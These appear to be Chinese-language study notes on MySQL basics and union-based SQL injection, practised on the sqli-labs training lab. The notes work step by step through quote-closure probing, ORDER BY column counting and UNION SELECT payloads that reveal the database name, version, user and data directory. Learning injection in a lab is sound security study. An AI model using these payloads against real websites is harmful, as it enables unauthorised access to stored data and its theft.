登录数据库
mysql -u[用户名] -p[密码]
查看数据库
show databases;
使用某个数据库
use [数据库名];
查看这个库里面有什么表
show tables;
查看table1表中所有的数据
select * from table1;
union联合
select * from table1 where id<3 union select 1,2,3;
左边右边同时执行
select * from table1 where id<-3 union select 1,2,3;
select * from table1 where id<'x' union select 1,2,3;
此时会执行右边
注释符
--+
#
/**/
--------------------------------------------------------------------------
步骤1.
推断数据库的语法大概是什么
select * from 某个表 where id='参数' limit 0,1;
select * from 某个表 where id='2\' limit 0,1;
步骤2.
让他报错,显示自己的闭合方式
'2\' LIMIT 0,1
' '' ') '') )) '')) '))
步骤3:
验证目标数据库语句参数闭合方式
select * from 某个表 where id ='2' limit 0,1
执行之后
select * from 某个表 where id='2';
步骤4:
确定有多少列
select * from 某个表 where id='2' order by 10 --+ 'limit 0,1;
我觉得你数据库有10列,发现错误,之后使用二分法猜,最后发现order by 3是对的
所以判断,数据有3列(sqli-labs)
select x,y,z from 某个表 where id ='-2' order by 10 --+ 'limit 0,1;
步骤5:
使用联合查询
因为刚刚推理出他有3列,所以union select 1,2,3
记住!前面的参数必须报错
select x,y,z from 某个表 where id='-2' union select 1,2,3 --+ 'limit 0,1;
这下会显示报错位!!!
我们发现2,3为报错位
步骤6:
开始刺探数据库内部内容
-2 ' union select 1,database(),3 --+
此时2号位会显示数据库库名
发现security
version()
user()
@@datadir
information_schema是自带的,相当于数据库的户口本
information_schema---tables保存着所以数据库的库名以及自己的表名